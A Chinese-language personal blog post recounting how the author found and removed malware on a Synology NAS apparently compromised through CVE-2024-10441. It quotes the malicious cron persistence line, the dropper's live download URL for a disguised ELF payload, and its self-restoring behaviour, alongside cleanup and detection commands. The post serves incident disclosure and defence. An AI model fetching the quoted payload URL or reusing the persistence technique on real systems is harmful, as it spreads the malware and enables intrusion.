Coffee Shooters 咖啡槍手

防毒說「沒有偵測到惡意程式」,而它就躺在我硬碟上

那天下午我在整理 NAS 上的自動發文排程,順手點開了「任務排程器」。

防毒說「沒有偵測到惡意程式」,而它就躺在我硬碟上
防毒說「沒有偵測到惡意程式」,而它就躺在我硬碟上

防毒說「沒有偵測到惡意程式」,而它就躺在我硬碟上

一次真實的入侵事故,和一個關於「綠燈」的教訓。 所有指令輸出、版本號、CVE 編號都是現場實錄,沒有一個是為了敘事編的。

起點是一個無關的疑問

那天下午我在整理 NAS 上的自動發文排程,順手點開了「任務排程器」。

裡面有兩個我沒印象設過的項目:

PowerOff task 0 → 2026-07-26 09:00
PowerOn  task 0 → 2026-07-26 20:00

我問了一句:「為什麼會有這個?我沒設定過。」

去查系統排程檔的時候,看到這行:

*/20 * * * * /bin/sh /etc/.conf #Sn5Yj8A2l0T

/etc/.conf —— 檔名前面有個點(在 Linux 是隱藏檔)、每 20 分鐘由 root 執行一次、後面掛一串隨機字母。

那兩個開關機排程後來證實跟這件事無關。但如果我沒去問那一句,我不會打開這個檔案。

打開它,不用猜

我沒有拿它去比對什麼病毒資料庫,我只是 cat 了它:

#!/bin/bash

MATCH_STRING="Sn5Yj8A2l0T"
DOWNLOAD_URL="http://zuoye.free.fr/files/synology-10441.png"

然後往下讀,它做四件事:

  1. 如果自己不見了wget 把自己重新下載回來
  2. 如果系統排程檔沒有那串標記 → 用 > 覆寫整個 /etc/crontab,把自己塞回去
  3. 如果開機腳本沒有標記 → 在 /etc/rc.subr 後面附加一行(開機自動復活)
  4. 如果主程式沒在跑 → 下載 000119.png,存成 node,執行

那個 .png 不是圖片。抓下來的檔案我看了前 16 個位元組:

0000000 177   E   L   F 002 001 001  \0

\177ELF —— 這是 Linux 執行檔的檔頭。副檔名是偽裝。

它躺在 /etc/node,568 KB,檔案日期 2026-01-14

(真正的 Node.js 在 /usr/local/bin/node。放在 /etc/ 底下叫 node 的東西,不是系統元件。)

檔案日期是一月,我發現它的那天是七月。它在裡面待了六個月。

然後我去問了官方工具

Synology 有內建的「安全諮詢中心」,會掃描惡意程式。我跑了一次完整掃描。

結果:

✅ 系統上沒有偵測到惡意程式
✅ 在您的系統上沒有偵測到惡意挖礦軟體
✅ 系統上沒有偵測到具有惡意的系統設定檔

三項全綠。

而在那個當下,/etc/.conf/etc/node 就在硬碟上。我可以再 cat 一次給任何人看。

那個綠燈到底證明了什麼

這是這篇文章真正想講的部分。

那個工具沒有說謊。它只是沒看到。 三個具體原因:

一、主程式被 UPX 加殼了。 我試著從那個執行檔裡撈可讀字串,只撈到一個:http://upx.sf.net。UPX 是一種執行檔壓縮工具,副作用是把裡面所有字串壓縮起來。特徵比對式的掃描器靠「指紋」認人,指紋被壓縮了就認不出來。

二、那個 dropper 是一支普通的 shell script。 它不是「病毒格式」。裡面每一行單獨看都是合法的 bash:wgetchmodecho。惡意的是它們組合起來要做的事,而那需要理解,不是比對。

三、那條排程是合法語法。 「惡意設定檔」檢查看的是已知的壞設定樣板,不是「這一行在幹嘛」。*/20 * * * * /bin/sh /etc/.conf 在語法上跟任何一條正常排程沒有區別。

所以:

綠燈只證明「沒看到壞消息」,不證明「沒有壞消息」。

這兩件事在日常生活裡幾乎等價,所以我們習慣把它們當成同一件事。但它們不是。而且差別會在最需要的時候顯現。

攻擊者留下了名片

清掉之前我把兩個檔案的 SHA256 記下來,也回去看了那個下載網址:

http://zuoye.free.fr/files/synology-10441.png
                          ^^^^^^^^^^^^^^^^

synology-10441

CVE-2024-10441 —— Synology DSM 的未經驗證遠端程式碼執行漏洞,CVSS 評分 9.8(滿分 10),是 Pwn2Own 2024 打出來的。不需要帳號密碼,不需要使用者做任何事,一個請求就能執行任意程式碼。

攻擊者用他打進來的漏洞編號,替 payload 命名。

然後我去對版本:

這個 CVE 的修補版本DSM 7.2.1-69057-6
我當時的版本DSM 7.2.1-69057 Update 3

低於修補版。 漏洞公告是 2024 年底發的,我的 NAS 停在一個更早的版本,一直沒更新。

我一開始的判斷是錯的

在找到那個檔名之前,我的推論是:「應該是密碼被暴力破解——畢竟自動封鎖功能是關的。」

那是錯的。

CVE-2024-10441 不需要任何認證。攻擊者從頭到尾沒有嘗試登入,所以自動封鎖擋不到它——那個功能開著也一樣會被打進來。

真正的原因只有兩條,缺一不可:

DSM 沒更新(漏洞未修補)
      ×
把管理介面曝露到外網
      ↓
   一個請求 → root 權限

我特地從手機(關掉 WiFi、用行動網路)測了四個埠,全部連不上——所以路由器上沒有任何轉發規則。那曝露面來自哪裡?

QuickConnect。 那是 NAS 廠商提供的便利功能,讓你不用設定路由器就能從外面連回家。它的實作是走廠商的中繼伺服器,不需要 port forwarding

方便,和曝露,是同一件事的兩面。

清除:順序比指令重要

清掉它的指令其實很短,但順序錯了會白做

# 1. 先斷兩條持久化
sed -i '/Sn5Yj8A2l0T/d' /etc/crontab
sed -i '/Sn5Yj8A2l0T/d' /etc/rc.subr

# 2. 再刪檔案
rm -f /etc/.conf /etc/node

如果反過來——先刪檔案再改排程——那 20 分鐘內排程會觸發,wget 會把它下載回來。你會以為「刪不掉」。

還有一個小坑值得記:我第一次想一次貼上整段帶 sudo 的指令,結果 sudo 跳出 Password: 提示,後面那些指令文字全部被當成密碼輸進去了,連錯三次。

正解是先 sudo -i 取得 root shell,看到提示符從 $ 變成 #,再貼不帶 sudo 的指令。

「清掉了」要怎麼證明

刪完檔案、指令沒報錯——這不算清掉。

因為那支程式的設計就是「被刪會自己回來」。真正的驗證是:撐過一個完整的觸發週期。

它每 20 分鐘跑一次,所以我設了一個 25 分鐘後自動執行的複查:

清除時間  ~16:40
複驗時間  17:13:46
結果      未發現任何殘留

跨過了一個完整週期,沒有回來。這才算數。

(同時我也確認了:那條原本連往外部 IP 的連線消失了、沒有殘留程序、系統排程檔只剩下正常項目。刪完當下就宣告成功,跟等一個週期再宣告,是兩種不同強度的說法。)

我後來寫的哨兵,不查特徵

既然官方掃描器對這支是綠燈,我不能把它當作偵測手段。所以我寫了一支每天自動跑的檢查,它不做特徵比對,只問三個問題:

加殼騙得過掃描器,騙不過 ls

寫的時候我犯了一個錯,值得單獨講:第一版裡,「乾淨」和「連不到 NAS」都回傳同一個結果、記錄同一句話。

意思是——哪天 SSH 壞掉、NAS 關機、或金鑰失效,這支哨兵會永遠安靜,而我會以為有人在幫我盯。

監控器沉默的時候,「一切正常」和「我瞎了」長得一模一樣。

改法是讓它們回傳不同的結果,而且連續看不到三次就主動告警自己失明了。哨兵要為自己的失明出聲,否則它的沉默會被當成安全。

我從這件事帶走的東西

一、「沒偵測到」和「沒有」是兩句不同的話。 工具的輸出是那個工具看到的東西,不是世界的狀態。要確認一件事存不存在,去看那個東西本身。

二、便利功能就是曝露面。 QuickConnect 幫我省下設定路由器的麻煩,代價是把管理介面放到外網。這個交換在漏洞被公開之前是划算的,之後就不是了——而我沒有跟著更新。

三、更新不是「有空再說」。 從漏洞公告到我被打進來,中間隔了超過一年。那一年裡我每次看到更新提示都想著「等等再說,怕更新壞東西」。

四、「以為沒事」比「知道有事」危險。 它在裡面六個月,我完全沒有感覺。系統沒有變慢、沒有異常、官方工具說一切正常。發現它的唯一原因是我問了一句跟它無關的問題。

如果你也有一台 NAS

三件事,十分鐘:

  1. 把系統更新到最新版。不是最新的大版本,是當前版本的最新修補——那個風險最低、修的洞最多。
  2. 檢查有沒有把管理介面曝露到外網:路由器的 port forwarding,以及廠商的遠端存取服務(QuickConnect 之類)。用手機關掉 WiFi 測是最準的。
  3. 開啟自動封鎖。它擋不到這次這種漏洞攻擊,但擋得到大多數的密碼嘗試。

然後,如果你想確認自己乾不乾淨:

grep -rn "/etc/\.conf" /etc/crontab /etc/rc.subr 2>/dev/null
ls -la /etc/.conf /etc/node 2>/dev/null

沒有輸出是好事。有輸出的話,你現在知道那是什麼了。

這篇不是資安專業分析——我是做咖啡的,順便寫程式。 這是一份現場紀錄:一個沒更新的 NAS、一個公開超過一年的漏洞、一個潛伏六個月的程式,和一個說「一切正常」的綠燈。